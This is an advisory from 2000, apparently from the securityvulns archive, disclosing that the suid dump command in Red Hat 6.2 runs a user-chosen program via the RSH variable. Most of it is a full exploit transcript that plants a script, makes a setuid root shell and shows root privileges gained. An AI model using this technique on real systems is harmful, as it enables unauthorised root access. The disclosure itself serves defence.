Redhat 6.2 dump command executes external program with suid priviledge.

2000-11-01T00:00:00
ID SECURITYVULNS:DOC:868
Type securityvulns
Reporter Securityvulns
Modified 2000-11-01T00:00:00

Description

  1. Problem: Linux dump command executes external program with suid priviledge.
  2. Tested Version dump-0.4b15
  3. Example [mat@localhost mat]$ export TAPE=garbage:garbage [mat@localhost mat]$ export RSH=/home/mat/execute_this [mat@localhost mat]$ cat > /home/mat/execute_this

!/bin/sh

cp /bin/sh /home/mat/sh chmod 4755 /home/mat/sh [mat@localhost mat]$ chmod 755 /home/mat/execute_this [mat@localhost mat]$ /sbin/dump -0 / DUMP: Connection to garbage established. DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/hda2 (/) to garbage on host garbage DUMP: Label: none /dev/hda2: Permission denied while opening filesystem [mat@localhost mat]$ ls -la /home/mat/sh -rwsr-xr-x 1 root tty 316848 Oct 31 14:38 /home/mat/sh [mat@localhost mat]$ /home/mat/sh bash# id uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat) ================================================= | | | mat@hacksware.com | | | =================================================